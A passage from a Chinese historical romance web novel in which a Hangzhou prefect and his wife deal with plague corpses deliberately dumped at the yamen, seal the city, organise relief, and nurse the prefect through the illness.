“金陵天天都有人要杀你。依我看,不用人来,你自己就能闹完小命。” 沈云楹被王大夫的言语砸懵,燕培风受伤了? 而被训斥的燕培风却面色平静, 冲着王大夫微微一笑,“事出有因。王大夫也看到了,我也是不得已为之。” 那种情况下,如果不用力射出那一箭,沈云楹定会受伤。红叶眼疾手快,但是那么摔倒在地,哪能不受伤? 王大夫怒气稍降,眼风扫到燕培风的手臂还搭着沈云楹的腰,冷哼一声,“还不撒手?” 沈云楹这才发现燕培风的动作,面颊发红,急忙往边上一躲,还不忘瞪一眼燕培风。 燕培风在王大夫的指示下,解开衣裳,露出身上血迹斑斑的纱布。 刚包好的伤口,因为方才全力的一箭,血迹渗透出纱布,等王大夫缓缓拆下纱布,白皙的前胸横亘着深可见骨的一道刀伤。 旁边还有几道较浅的刀痕,先前涂抹的药膏已经被吸收,只有薄薄的一层留在上面。 沈云楹看得心惊,金陵形势的复杂与惊险远超她的想象。 等王大夫上完药,沈云楹还记挂着李沐廷,“王大夫,东厢房的孩子今晚受惊不小,劳您过去看看。” 王大夫颔首,“老夫这就过去。” “你倒是关心他!”燕培风凉凉道,真正受伤的人明明在这里。 沈云楹没领会他的意思,“皇长孙才病过一场,万一再病,拖垮身体就不好了。” 燕培风问了李沐廷上次生病的情况,知道不是持续高热就放心了。 时辰不早,沈云楹要回去继续睡觉,但想到燕培风还没回来,便想等他一下。 谁知,等的茶都凉了,燕培风才回来。他穿着月白里衣,发丝披散。 “你怎么洗头发了?有没有碰到伤口?”沈云楹忙问。 沈云楹下榻来到燕培风身边,接过他手上的软棉布。 “你坐下,我给你擦干。” 沈云楹看看他缠着纱布的胸膛,燕培风抬手会扯到身上的伤口。 燕培风嘴角弯起,冷肃的凤眸久违的柔和下来,顺从坐下,背对着沈云楹。 燕培风笑道:“奔波了一路,不洗干净怎么睡?” 眼神看着木床的方向,床上铺着凌青色的被褥,是沈云楹惯常用的。 沈云楹低下头,“就直接睡啊?”伤口不宜沾水,眼看又到后半夜,怎么还洗头发? 燕培风想也没想就道:“如果我不从头到脚梳洗一遍,你愿意让我上床?” 沈云楹手腕轻转,半湿的棉布搭在燕培风的肩膀, “你是老爷,谁敢拦你?”沈云楹侧过身,从架子上取过另一条干软棉布。 燕培风理所当然的回答:“你是夫人,家里还是你说了算。” 沈云楹狐疑地睨他一眼,“你最近很奇怪。” “嗯?” “油嘴滑舌的。”沈云楹做下判断。 燕培风扬起的笑容僵住,换了个姿势,还是盯着沈云楹看好了,美人娇颜,比听她说话舒服。 沈云楹歪头看燕培风,他是默认了吧? 深更半夜的,只有他们两个人,随性相处就是了。 话说回来,沈云楹忽然意识到,在杭州放出夫妻恩爱的风声,似乎没有看到什么好处,反是惹来石光敏的深夜追杀。 沈云楹思绪缓缓飘远,手上动作不停。 燕培风的长发与他的人不一样,偏硬偏粗,听说这点与嘉荣长公主一样,擦干头发耗费的时间比旁人要多。 感受到发间的手指力道变弱,燕培风侧过头,柔声问:“累了?” 起身握住她的手腕,轻轻的揉捏,开始还是正经的按摩,逐渐变味,燕培风深邃的眼眸上移。 目光滚烫,沈云楹扬起脖颈,低声强调道:“你受伤了。” 毫无杀伤力。 燕培风的目光化为实质,搂着沈云楹坐在身边。 沈云楹心跳的厉害,放软声音道:“我要睡了。” 望着沈云楹眼下的青黑,这是新增的,想到沈云楹这阵子睡得不好,燕培风只好偃旗息鼓。 翌日一早,众人启程回杭州。 这几天金陵大乱,杭州又没了一位同知,燕培风需要忙的事情非常多。 为了不牵扯伤势,燕培风选择坐马车,可是一路都不消停,陆陆续续有信件送来,需要他及时处理。 沈云楹和李沐廷坐在一边,或是看书,或是吃零嘴,衬得燕培风有点可怜。 林嬷嬷不在身边耳提面命管着,李沐廷又活泼起来,他凑近沈云楹小声点评:“表叔比我爹还忙。” 二皇子懒得带朝政回府处理。 可是在小小的李沐廷眼里,却另有理由。 “我爹没有正事,只会去侧妃的院子。”李沐廷口无遮拦。 沈云楹一怔,里面涉及二皇子府的妻妾之争,沈云楹不好多说。再看看李沐廷这个年龄,她更不能多说。 好在不用沈云楹回答,李沐廷又说起别的,比如二皇子府的弟弟,他只见过一次,连话都没说过。 就这么一路紧赶慢赶,在午时前回到杭州府衙。 燕培风回到杭州的第一件事就是处理盐商姚家。姚家比石光敏先一步下狱,姚家私自贩卖私盐,又与水匪勾结,盐场更藏有不少龌龊。 杭州四大富商,是对手更是盟友,互通有无。姚家骤然落魄,剩余三家都在观望,更有甚者想取代姚家的盐商生意。 然而燕培风雷厉风行,连消带打,短短一天,杭州立即恢复平静。 这期间,燕培风带伤上阵,没有耽搁府试。 燕培风忙得脚不沾地,还不忘遣思齐来告知她,太子会亲自来金陵处理盐税之事,让她安心。 他们已经安全了。 沈云楹知道本朝按照民制、官收、商运、商销的模式。 朝廷设盐户,归盐使司统辖,并分配他们到各大盐场制盐。每年盐场的产量都是登记在册,但最终户部实缴的金额堪堪一半。 天下之赋,盐利居半。可见盐税的重要与富庶程度。 盐税早就将一批人绑成一个利益团伙。 太子亲自接手此事,功绩与风险并存。太子膝下有了嫡子,若是这事办得漂亮,东宫无忧矣。 等到下午,银筝来报,二皇子妃顾□□到了。 沈云楹有些期待,亲到门口迎接。 二皇子妃顾□□骑着枣红色大马,身后是一群孔武有力的随从。 真不愧是包围金陵知府衙门的人! 将门虎女的风姿,和书香之家的女儿是全然不同的风采。 顾□□性子大方爽朗,笑道:“弟妹!” 沈云楹欲行礼的膝盖刚弯下,闻言只能起来,唤道:“表嫂。” 两人并肩进院子,李沐廷已经跟个小炮仗似的冲出来,大喊:“娘!” 沈云楹本还想与顾□□寒暄一二,见状,便不拘礼数,先让她们母子团聚。 没多久,顾□□来铮然居见沈云楹,见面第一句却是:“想不到燕夫人如此狭促。” 沈云楹不解抬眸。 顾□□从袖中取出一张纸,上面是满满的簪花小楷。 沈云楹了悟,“只是实话实说。” “二皇子偏爱钱侧妃,京城人尽皆知。”顾□□丝毫不遮掩,也引以为耻,她嫁入皇家,是皇家对边疆将士的一种恩泽,彰显朝廷记挂着他们。 “林嬷嬷是顾家的老人,有时候虽然不着调,心里总是为廷儿好的。”顾□□为林嬷嬷辩解,希望沈云楹不要和林嬷嬷计较。 顾□□刚生下李沐廷的那段时间,是她最艰难的时候。林嬷嬷的忠心和护主,让顾□□对她格外包容些。 沈云楹点点头,不再多说林嬷嬷的事,又不是她家的下人。 顾□□非常有分寸,不拿捏架子,和沈云楹提及金陵的事,又说说皇上皇后的近况。一个下午就这么过去了。 此后,沈云楹恢复从前的作息和闲适。顾□□住在府里,但是不怎么出门,一心带李沐廷,只等盐税的风头一过,就去顾家老宅祭祀祖先。 林嬷嬷见顾□□退居一院,不甘心的说了一堆,最后气道:“因为燕大人的掺和,咱们连吉时都错过了。” 为了这次祭拜,顾□□亲去钦天监算过时辰。 顾□□不在意,“爹娘不会介意。” “再说,没有燕培风与沈云楹,廷儿还不知道在哪儿受苦。” 林嬷嬷还不服气:“好歹是知府夫人,庄子又小又落魄,小主子是受苦。奴婢让人换,她们还不肯,那刁钻的丫鬟还说,山间野外寻不着!” “她是杭州知府夫人、派个人来采买,能是多大的事?” “嬷嬷!”顾□□冷下脸,她在沈云楹面前维护林嬷嬷,是为旧情。但林嬷嬷也得有分寸。 “你昏头了?那时候在逃命!你也亲眼瞧见小庄子被歹徒杀上门。” 林嬷嬷讷讷道:“是,奴婢知道。奴婢不说了。” 她会看眼色,知道顾□□要生气,忙转变态度。 —— 转眼就到贡院放榜这日,燕培风去状元楼与赶考学子畅谈,点评他们的文章,鼓励他们在接下来的院试能考得更好。 沈云楹正在后院喂鱼,“鲤鱼跃龙门,锦鲤有好兆头。等燕培风宴请的时候,就几尾锦鲤过去。” 府试由知府主持,如今放榜,案首由燕培风亲点,据说此人文采斐然,有望拿下小三元。治下文风盛行,也是燕培风的政绩。 一般放榜后第二天,知府会邀请登榜的考生赴宴庆贺。 银筝笑着点头,“您要送哪几条?” 沈云楹弯腰低头,正要挑,忽然小燕管家冲进来,“夫人,不好了!衙门被围了!” 第90章 留下 杭州局势早已平稳。姚家的倒台让剩余三家对燕培风忌惮又敬佩, 轻易不会有多余的动作。 沈云楹提前几日就收到席家丰厚的端午节礼,厚厚的一沓节礼单子,这其中多少有为春喜班之事赔罪的意思。 恰逢席家办茶宴, 沈云楹为安定人心,还欢喜赴宴, 暗示燕培风的态度。 至于春喜班, 她们唱戏好听, 可那些戏本子都耳熟能详,是老套子了。在去金陵前, 沈云楹给了春喜班话本,让她们照着排练,回来就能听新戏。可惜沈云楹还没一饱耳福就先送去顾□□那儿,略尽地主之谊。 此时大商户被压服, 衙门这里,底下的钟通判和推官都巴望上升一品,唯燕培风马首是瞻。 所以沈云楹在听到有人敢围府衙的时候, 第一个念头就是以为自己听错了。 谁敢动手? 二皇子妃还在府衙后院,又是府试放榜之日。真会挑日子。 沈云楹皱眉不解, “是谁在闹事?” 小燕管家急得喘匀气,他忙中出错, 发现自己的话有歧义,赶紧补充:“是死人和百姓。” “不知是哪个丧良心的,绕着府衙扔了一大圈死人,足有二十多个,正门侧门都被看热闹的百姓围得水泄不通!” 小燕管家急道:“奴才已经派人去寻老爷了,可是还没回信。” 沈云楹看向着急上火的小燕管家,反问:“既死了人, 衙役收尸送去义庄,查明死因捉拿凶手归案就是。官府连个做主的人没有?” 小燕管家面有难色,“他们不敢动手。” 沈云楹正要细问,顾□□大步迈进游廊,朗声问:“外面闹哄哄的,燕夫人,不知发生了何事?” 沈云楹想起顾□□的院子靠近侧门,肯定是听到动静了。 “有人将尸体扔在府衙外面,”沈云楹简单回一句,转头问管家:“为何不敢去搬动?” 小燕管家磕磕绊绊道:“有积年的老人看出,那些人像是染病而死。大家将信将疑,衙役不敢轻动,许多百姓还在看热闹。” “瘟疫?” “这病会过人?” 沈云楹与顾□□同时发问。 “还没确定,已经去喊大夫了。”小燕管家擦擦额头的汗,心中七上八下。 沈云楹来回踱步,只能嘱咐:“立即去找王大夫回来,他现在应该在慈幼院,就隔着两条街,花不了多长时间。” “外面的坐堂大夫也要请。”瘟疫是大事,还得会诊判定,沈云楹想最好多来几个好大夫。 小燕管家得命立即去办。 “等等,在前面单独僻开一间屋子,叫衙役拿布捂住口鼻,先把尸体都搬进去。”沈云楹知道他们为难,但是不做危害更大,“布料要厚实的,再准备热水,进出前后要仔细洗干净。凡事干活的,都有一百两赏银。” 小燕管家点点头,重赏之下必有勇夫,这事能办。 顾□□想了想,决定和沈云楹一起去议事厅等消息。 然而一个时辰过去,事情颇为不顺,不止王大夫,杭州城内数得出名号的大夫都找不着人影。燕培风也没回来,去寻人的小厮说,燕培风不在状元楼,已经与学子们去游湖作诗了。 沈云楹越听面色越是沉重,这显然是一个连环局。 现在她有八成相信府门外那些人,真的是因瘟疫而死,被人故意扔来,就是为了对付燕培风。 “还是水匪?”沈云楹随即摇头否认,水匪没有杭州户籍,燕培风对进城盘查很严,能光天化日之下做出抛尸之事,人数一定不少。 顾□□却认同,“不是水匪,也和盐税有关。” 动人财路如杀人父母。盐税触及太多人的利益了。就算交给太子,他们还不想放过打前锋的燕培风。 坏消息接踵而至。 小燕管家咬牙道:“夫人不好了。外面围观的百姓有人病发,他们家人来衙门讨公道。”顿了顿,又说:“衙役也开始发病,症状都差不多,高热,说胡话。最严重的是老吏,他身上有旧伤,现在浑身打摆子。” 想到瘟疫就在身侧,沈云楹就心惊肉跳,这种感觉比直面刺杀还难受,她下意识就问:“燕培风呢?” 几乎同时,顾□□担心地问贴身丫鬟,“廷儿呢?” 两人对视一眼,看到彼此眼中的焦急担忧,顾□□知道儿子还在府内,只是担心他乱跑去外面看热闹沾上瘟疫。所以她比沈云楹淡定一些,此时还能分神想燕培风与沈云楹夫妻在京城与杭州有两种截然不同的传闻。看来,还是杭州的更可信些。 —— 杭州长宁街,燕培风带领一队护卫和衙役,将王大夫等知名大夫救出来,直接送去官府。后脚就亲自去白宅,找到白家家主,全力配合药材供应。 最后燕培风吩咐思齐,“你立刻回去准备一下,送二皇子妃与皇长孙走。夫人,也一并带出城。” 思齐瞪大眼睛,“主子!” “等夫人平安出城,我还要回来!”此刻思齐没把自己当下人,他是燕培风共进退的好兄弟。 燕培风沉着脸,背后之人真会挑日子下手。调虎离山,藏匿大夫,一环扣一环。他甚至怀疑不只有一处藏着疫病而死的尸体。 果然,暗卫传来消息,民居的巷子里有多处的尸体,和府衙外的一致。 杭州岌岌可危。 燕培风满目阴沉,铮然居的沈云楹则按照王大夫给出来的办法,一条一条的执行。隔出来一间单独的院子,除了衣食,还要确保药材供应。 府衙后院离得太近,也要注意不让疫病传过来。 沈云楹一看到燕培风,忙迎上去,“你回来了!” 但燕培风开口就是,“瘟疫可能要扩大,我安排思齐送你出城。二皇子妃和皇长孙也不能再待在杭州。” 沈云楹眉峰微扬,“你要送我走?” 燕培风长眉紧皱,目光向下,深沉坚定,“我打算自封城门。” 沈云楹手里的白纸落地,王大夫的字迹银钩铁画,自带信服力。每次看到他的方子,沈云楹便觉得药方十分可行。 她蹲身捡起。 燕培风率先拾起,“如果你不走,以后就走不了了。” 沈云楹立即想到慈爱的蒋文笙,转瞬又变成血迹斑斑的燕培风,她不敢抬头,她竟然有一瞬间的心动。万一错失时机,她再也不能见到蒋文笙。 她娘这辈子,幼年丧母,青年丧夫,临到中年,还要面临丧女的打击? 还有外祖父蒋宜,他年纪大了,也不能陪蒋文笙多少年。 沈云楹抬眸盯着燕培风,仿佛要瞧清里头有多少真心,然而燕培风的思绪从未如此简单,他只是想让心仪之人平安。 这股真诚清澈可见。逼得沈云楹一下看清楚燕培风眼中的自己,她并不想走。 “我要留下。” 燕培风轻叹一声,坚持道:“思齐就在后门等着,你们一离开,我就下令关城门。” 沈云楹摇头,做好决定,她心里一下就镇定下来,迎上燕培风催促的眼神,平静道:“我觉得二皇子妃也不会走。” 短短几天相处,沈云楹能猜出几分顾□□的性格。燕培风的算盘,一开始就打不响。 燕培风不在乎,有李沐廷在,顾□□没有选择的余地。 沈云楹见燕培风不为所动,直接出门去寻顾□□。 恰巧顾□□也来找燕培风与沈云楹。 顾□□一身窄袖轻便衣裳,配上斩钉截铁的神情,“燕大人好意,恕我不能接受。” 方才小燕管家亲自去告知顾□□收拾行李,带上李沐廷,立即出城,去金陵还是去顾家老宅都行。 顾□□一听就知道燕培风的打算,但是她不一定要按着燕培风的意思走。 “皇家受万民供养,不该丢下百姓,瘟疫而已,岂能让我不战而退。”顾□□眼里毫无退缩之意。 “你要让李沐廷涉险?”燕培风冷声问。他认为顾□□有些任性。 顾□□软声道:“稚子无辜,送他走吧。” 沈云楹适时插话:“甘草一起去。他懂些药理,能照顾人。”还顺便提议:“不如去蒋家?交给我娘照顾。” 顾□□谨慎道:“去先前的庄子上住几天,没事再去。不能害了蒋家,害了金陵。” 两个女人你一言我一语做下决定。 燕培风一看这情景,不好强硬劝沈云楹,就从顾□□这里入手,“就二皇子那德行,将来李沐廷能靠他?” “还有父皇母后和太子大伯呢。”顾□□不信丈夫,信丈夫的家人。 沈云楹跟着点头,“就是。皇后可靠。”皇上就难说了,万一养成嘴碎子皇孙,真的不太靠谱。 燕培风哽住,他本身就有被舅舅舅母抚养的经历,真不能说不好。 燕培风劝不动沈云楹两人,外面的小燕管家再次来催,“老爷,钟通判求见。白家家主也在外厅等着。” 罢了,沈云楹想留就留下吧。他会尽力护好她。 燕培风深深看一眼沈云楹,把王大夫的手稿递过去,“别乱跑。” 沈云楹嗯一声,“我不出门。”她吩咐人办事,又不用亲自去办。 既然沈云楹与顾□□要留下出力,燕培风就放心将后方的事情交给她们。 杭州封锁城门的消息一下,城内屡屡生乱,民怨迭生,仿佛有人在背后挑动。燕培风一边全力支持所有大夫研究疫病对症的药方,一边安抚百姓,同时,还要抓出潜伏在城中的歹徒。 燕培风刚在杭州站稳脚跟,处理事情耗费心力,挨过最艰难的头七日,情况勉强稳定。 病患集中住进单独的一栋大宅子,他们住得好,吃得好,医药一样不缺,勉强吊住命。 八个大夫集中在一间房讨论病情,燕培风坐在上首,沉声问:“没有一个药方起效?” 这些天已经换过四次药方,还是没见效。 王大夫捋着胡须,“危重的患者,脉象已经好转,不再浮大无根。犀角、知母对了症。但是想要真正痊愈,还得再改药方。” 其他人纷纷点头,他们也是这么想的。王大夫与燕知府相熟,由他出面再好不过。 “王大夫所言甚是。” “这次应该加大丹皮的药量,脉象细沉的几个人,这次病症变化最明显。” 几位大夫纷纷出言建议。 燕培风医理粗浅,只能叫王大夫主持大局,继续改进药方,需要什么药材就提。白家库房丰厚,不怕找不到。 刚走出大宅,燕培风忽然眼前一黑,胸膛的刀伤似乎又裂开了,还在发烫,他勉力稳住脚步。身后的思齐眼尖,一个箭步上去扶住,大喊:“主子!”《 》 90-100 第91章 飞奔 府衙后院。 瘟疫事发突然, 等不及朝廷拨下赈灾款,燕培风组织民间募捐,其中商户和乡绅是大头, 这些捐款每一笔都要登记在册。 有了钱,还得拿着钱去买物资。这又是一本账册。 沈云楹细细检查过新送进来的买卖账册, 一加一减, 得出一个数字, “账本没有错,药材和粮食都送去平安巷了吗?” 为了更好的医治病患, 燕培风下令将所有病人集中安置在一条巷子,巷名很吉利,叫做平安巷。 最宽敞舒服的就是第一间大宅,汇聚所有大夫和重症病患。这一处也是最要紧的。 银屏回道:“上午送去了, 签收的门房按照规矩,摁了手印。” 沈云楹颔首,问起另一件事, “苍术和白芷还够用吗?” “约莫还能坚持四五天。但是做药巾的细棉布不够,您看要不要用粗布?”银屏问。 沈云楹用知府夫人的名义, 组织女眷做绣活,按件给钱。江南女子, 不论老幼都会简单的绣活。这样既能让家家户户赚到钱,又能安定民心。 疫病讲究干净,被褥、衣裳、药巾等等都非常急需。尤其是药巾,平安乡一条巷子,人人都需要戴药巾,捂住口鼻,尽量隔绝疫病。 沈云楹无奈点头, “我问过王大夫,细葛布和棉布能缝上苍术和白芷粉末。用粗布的话,得先用雄黄酒浸泡一日。如果要用,就要备上雄黄酒。” “不知道雄黄酒够不够。” 沈云楹秀眉微蹙,动一样,就又衍生出新的问题。她吩咐银屏,“先泡一批粗布,看看今日平安巷有没有好消息。” 银屏刚走,银筝就小跑着进屋,“夫人,二皇子妃来传话,今日一切顺利。十二个坊长娘子刚从侧门回去。” 府城分十二坊,每坊设有坊长,负责组织壮丁巡夜,防止盗贼作乱,又盯着本坊的情况,有病患便上报,送去平安巷。 顾□□负责这一块,每日都会召见十二个坊长娘子。当然,顾□□没暴露身份,是以燕家亲戚的名义在管事。 “嗯,二皇子妃提到的赈济粮准备好没有?”沈云楹想起顾□□给出去的承诺。 顾□□和沈云楹商量好,要给贫困人家送去赈济粮。也不多,就十斤米面。省着吃,能坚持一段时间。 “备好装车了,坊长娘子们去管事那登记就能领走。”银筝接着答话。 闻言,沈云楹终于垂下紧绷的脊背,今天的活儿干完了,歇个晌,下午等平安巷的新消息。昨日又实验新药方,不知效果如何。 等燕培风回来,她这里又积了一堆事等着呢。 想到燕培风,沈云楹就有点想笑。燕培风坚持不来铮然居,不踏入后院。他天天在外面奔波,还常去平安巷,不愿意留在家里。只在下午抽空回来看看。 沈云楹觉得燕培风多此一举,如今杭州城内,除了平安巷最危险,其他地方都差不多。她待在铮然居,可是府里往来的人也不少啊。 燕培风却认为能少一分风险就少一分。 燕培风莫名其妙的固执,沈云楹心下猜测他可能有点生气,恼她不听他的安排。所以,沈云楹没有坚持去前院,先度过这段艰难的时间再说。 她对燕培风和王大夫抱有希望,一定能等来好消息。 这七天,是沈云楹这辈子最忙碌的七天,现在闲下来,沈云楹感觉好久没见到燕培风了。 许是日有所思,日也有所梦,沈云楹临睡前想到燕培风,在睡梦中居然也听到人在喊燕培风。 这声音仿佛就在耳畔,沈云楹猛地睁眼,就听到银屏焦急的声音,“夫人,老爷在平安巷病倒了!” 平安巷三个字像是一把锤子,砸得沈云楹脑子嗡嗡嗡的,眼前一片迷茫。 沈云楹下意识起身穿衣,还来不及确认燕培风在不在平安巷就急急地往外走。 银屏一把拦住沈云楹,“夫人,您不能去啊!万一你也染上怎么办?”在银筝心里,沈云楹比燕培风要紧。 “思齐根本不敢回来,来传话的是暗卫,老爷一倒,衙门连做主的人没有,还得您和二皇子妃主持大局。老爷染病的事还不能传出去,您要冷静啊。” 府城内,知府病倒,同知自尽,剩下钟通判和推官。钟通判与燕培风不是一条心。他之前就主张要开城门,去金陵、去扬州等等几个周边府城寻求帮助。 可燕培风坚决不同意。 要是钟通判掌权,会坚持燕培风的策略吗?甚至,杭州根基深厚的人家,像是席、白、苗等大家族,还会这么配合官府吗? 银屏心里乱糟糟的,拉住沈云楹的手臂,“这里还有一滩事等着您处理。” “还有三夫人。” 眼看沈云楹走出铮然居,银屏赶紧提蒋文笙。 沈云楹脚步一顿,她听进去银屏的意思了,但是她还是去见燕培风。 她回头,满目坚定,“你说得对,银屏,你与银筝去帮二皇子妃。你们一直在打下手,留在府里,比跟着我出去重要。” 银屏倒吸一口凉气,以为沈云楹气她刚刚的做为,连忙出声,“夫人!奴婢给你一起去!” 沈云楹摆手,“这就是最好的安排。”她拍拍银屏的胳膊,“我在平安巷过得好不好,全靠你们。交给别人我也不放心啊。” 银屏还要再说,被红叶阻止,“我跟着夫人去。”她本就是贴身保护沈云楹的,自然是沈云楹去哪儿,她就去哪儿。 一路飞奔到侧门,马车疾行赶往平安巷。 有知府的令牌,沈云楹畅通无阻地进宅。她没有来过这里,但是知道这里的布局,宅子的后方支持工作都要过她的手。 没看到思齐,沈云楹想直接去找王大夫,便朝左厢房走去。 隔着门窗,沈云楹就听到思齐不可置信的否认声,“不可能!主子出入这么多天,一直没事。怎么会突然染上疫病?” “脉象如洪,沉浮汹汹,伴有高热,”王大夫耐心解释,“这是染病的脉象啊。” 这么多大夫一起诊过脉,不可能一同诊错。 王大夫也愁啊,叹气道:“世事无绝对。只要待在府城,与患者有过接触,人人都有可能患病。我们这些大夫,都不敢说自己一定不会染上。” “不过还有一种可能,老爷刀伤未愈,或许就是病从伤入。这种疫病我未曾接触过,只是一种猜测。” 思齐顿时没了话。燕培风忙得连喝口热茶的功夫都没有,更不会留意刀伤。思齐就亲见过燕培风亲手上药,伤口还渗出血。 只是燕培风拦着不让说。 王大夫下结论,“为今之计,只能尽力琢磨出药方。” “那您尽快啊!要是主子染病昏迷的消息传出去,府城可就不平静了。”思齐握紧拳头,紧张又期盼地看着王大夫。 沈云楹一颗心往下坠,真是病从伤入的话,若是燕培风没有在庄子门前强撑着射出那一箭,或许没有今日之祸。 屋内思齐正在跟王大夫强调要快,分析府城不容乐观的局势。 沈云楹垂下眼帘,如果说刚刚冲动过来,她只是迫切想看看燕培风,此时沈云楹只想留下照顾燕培风。 沈云楹扭头看看红叶,示意她上前敲门。 “谁?”思齐提高声音,立刻去开门。 看到沈云楹的瞬间,思齐惊诧无比,“夫人,您怎么来了这里?!”燕培风千叮咛万嘱咐不能害沈云楹染病的! 现在沈云楹竟然到了平安巷,还在最严重的宅子。 沈云楹直接道:“我一收到传话,就让人封锁了消息,能瞒多久就瞒多久。”她对思齐道:“所有事情都由二皇子妃决断。她需要你回去帮忙。” 药巾厚实看不到面容,唯能看到思齐不烦心的目光,沈云楹认真道:“燕培风交给我照顾。” 思齐忍着冲动,心想主子夫人果然恩爱非常,生死关头见真情。他得处置好外边的事,不能影响王大夫对主子的医治。 燕培风是知府,在这所宅子单独有一间房。沈云楹裹了两层细葛布药巾,一进门就看到燕培风缩在床上。 他闭着眼,眉头紧紧蹙起,额头分不清是细汗还是湿帕子的水,顺着他的眉眼落入枕边。 沈云楹一步一步靠近,伸手在他面颊摸了摸,还是发热。 似乎是感觉到冰冰凉凉的触感,浑身发热的燕培风忍不住去追寻唯一的冰凉来源。他主动用脸颊去蹭沈云楹的手,一下又一下,还发出一声舒服的喟叹。 沈云楹刚收回手,燕培风无意识的就要跟随,伸头去够她的柔夷。 “不准走。” 沈云楹听到床上人清晰的呢喃,立即抬头去看他的眼睛,可惜那双幽深的凤眸依然紧闭。燕培风没醒来。 沈云楹略失望,仔细给他换一张湿帕子。 刚换好,王大夫就来催,“夫人,你还是不要在这里久待。老爷的情况你也看到了,眼下还没有治疗瘟疫的方子。” 平日沈云楹对依附燕家的人很厚道,这次又让甘草跟着皇长孙离开。王大夫实在不想沈云楹涉险。 “您放心,老夫一定尽心尽力保全老爷。” 第92章 陪我 沈云楹环顾四周, 这间小院进门是山石,沿着两边石廊,便是主屋两间, 耳房一间,是个僻静之所。当然, 也是隔离的好地方。 沈云楹旁敲侧击, “王大夫, 您与几位大夫联手研制的避瘟汤效果很好。府城上下,所有人都在喝, 染病的人大大减少。” 尤其是帮着燕培风管理的人手,与病人的接触不比燕培风少。但他们都平安无事。 沈云楹自己也有感觉,每日一碗,后院来往那么多人, 没有发病的。 “夫君怎会突然染病?”沈云楹双眸直直对上王大夫的视线,希望能得到一个答案,“是不是因为他的刀伤?” 一听沈云楹这么问, 王大夫立即明白她应该在屋外听到了那番话。王大夫踌躇片刻,解释道:“老爷的病症属外邪入侵, 伤口是疫病入侵的门户。” “老夫百般嘱咐要先养伤,可是时不待人, 府城离不得老爷日夜操心。” 贼人心思歹毒,不给燕培风留喘口气的时间。王大夫无奈摇头,他的药是好药,不是神药,不能立竿见影。 沈云楹眼眸低垂,细葛布的药巾遮住她发白的面容,“此处僻静, 隔壁还有一间空房,我不会去别的地方。” 不等王大夫反对,沈云楹继续说:“避瘟汤我日日都有喝。如果不是为了救我,夫君也不会加重伤势,拖着不能痊愈。” 沈云楹向王大夫福身一礼,恳请道:“夫君病重,还劳您全力施救,不管需要什么药材,我一定寻来。” 望着自责的沈云楹,王大夫心里叹气,郑重道:“老夫必会尽力。” 王大夫转身出去找人研讨新药方。 整整一个下午,燕培风就反复发热三次。沈云楹一直在他身边守着。 屋里的窗户紧闭,角落点着艾草,床边是夹杂着药渣和汗水的浑浊气息。清寒的月光透过轻薄窗纱透进来,照得人格外苍白。 沈云楹轻轻走回床榻边,眼眸就不自觉发酸,王大夫调整了一次药方,直到亥时燕培风才顺利退热。 不知明日又会是什么情景。 她伸手探向燕培风的额头,想再确认一下他的体温,手还未放下忽然被一双滚烫的手攥住。 沈云楹惊喜,“你醒了!” 燕培风双眼发红,目光有些涣散,等了好一会儿才盯准沈云楹,嘴巴嗫嚅两下,似是在说话。 沈云楹看他嘴唇干涩,贴心地递去一杯温水。燕培风先是歪过头,又转回来低头喝一口。 “出去。”燕培风的嗓音依然嘶哑,像是从石头缝里钻出来的话。 沈云楹没理他。 自到杭州,燕培风恪尽职守,整个人瘦了一圈。攥紧她手腕的那双手,骨节分明,青筋隐现。 那双总是温如清风般的凤眸,此时带着锐利的锋芒,燕培风坚持道:“离开这里。” “不然,你也会染上。” 一句话,中间还得停顿一下。 沈云楹撤回茶盏,侧坐到床边,抬起泛红的眼眶哑声问:“我能去哪儿?” “你生病的事,我们都不敢让消息泄露出去。” “你知道的,我又懒又馋,只懂享受,不知操劳谋划。你觉得钟通判得势会放过我,还是席家、白家会继续敬着我?” 石光敏不是好人,能与石光敏同府为官多年的钟通判又会是什么心慈手软之人? 燕培风清醒的时候很短暂,和沈云楹说这几句话,眼皮子又开始合拢,像是要昏睡过去。 沈云楹低低地说完最后一句,“你别让我当寡妇。” 曾经沈云楹不在乎,她一边等待一边憧憬,像蒋文笙那样的日子也不错。 现在夜里睡觉燕培风不在,床榻都格外宽大。八卦乐事悲事都不能与燕培风分享,日子似乎索然无味。 昏昏沉沉中,燕培风听到寡妇二字,他的心猛然揪紧。可是困意浓重,他嘴唇轻动呢喃着沈云楹的名字。 屋门被打开,红叶领着王大夫过来,“王大夫,方才老爷醒了,您快来瞧瞧。” 沈云楹这才恍然,她竟然忘了去喊王大夫,忙起身让开,期待地看着王大夫。 “是有好转,不过,还得看今夜情况如何。疫病前期表征就是反复发热,我们的新药方对症。只是,不能痊愈。”王大夫只能戳破沈云楹的希望,嘱咐红叶今夜有什么情况就去寻他。 等人一走,沈云楹忽然惊觉外面不知何时飘起了细雨,凉风裹着雨丝吹进来,她下意识替燕培风掖紧被子。 好在一夜平安无事。 沈云楹一大早就收到顾□□写来的书信,银筝与银屏积极配合帮忙,她会与思齐里外配合,尽量维持现状。让沈云楹安心照顾燕培风。 沈云楹认真回了一封信,感激顾□□的帮忙。 燕培风接连两日昏睡,再没醒来过,沈云楹强压着烦躁和担忧。这日,沈云楹忽然抓着红叶的胳膊问她:“红叶,这么多天了,京城应该收到消息了吧?” 红叶算算时间,“能收到。可是派人来,还得花时间。” “太子出行,皇上会派太医随行是不是?” 红叶震惊,“夫人,你要打太子的主意?” “你只说,你能不能去把随行的太医带过来?”沈云楹满脸期盼,太医医术高,或许能解决呢? 红叶咽了咽喉咙,这得抢吧? “太子应该愿意,要是太医不同意,你就强行带来。”沈云楹思忖,燕培风与太子亲如手足,不奢望太子亲自来杭州,只要愿意派太医来就成。 红叶想了想,她被送到燕家,今后不能再坐暗哨,八成要一直待在沈云楹身边。当下就点头答应,“奴婢愿意去。” 沈云楹拉着红叶的手,“红叶,谢谢你。日后你有什么事,一定来找我。” 这边沈云楹计划找太医当外援,那边王大夫有了新药方,并且让人在患病之人身上实践,经过两日的观察,发现十分对症。有几个症状较轻的,已经有了痊愈的趋势。 一大早,王大夫就兴冲冲的来找沈云楹,说明新药方的效果,“夫人好消息!如无意外,这张药方正是对症的良方!” 沈云楹一喜,“真的?那快些给燕培风用。” 新药方果然有效。 当天夜里,燕培风只觉浑身一轻,不再像背负千斤般难捱,睁眼就看到沈云楹从门外进来,眉眼间带着憔悴,还在低声的呢喃:“这药方难道没效?怎么人还没醒呢?” 沈云楹习惯往床上看一眼,就对上一双清明温柔的凤眸,她一怔,不敢高声:“你醒了?” 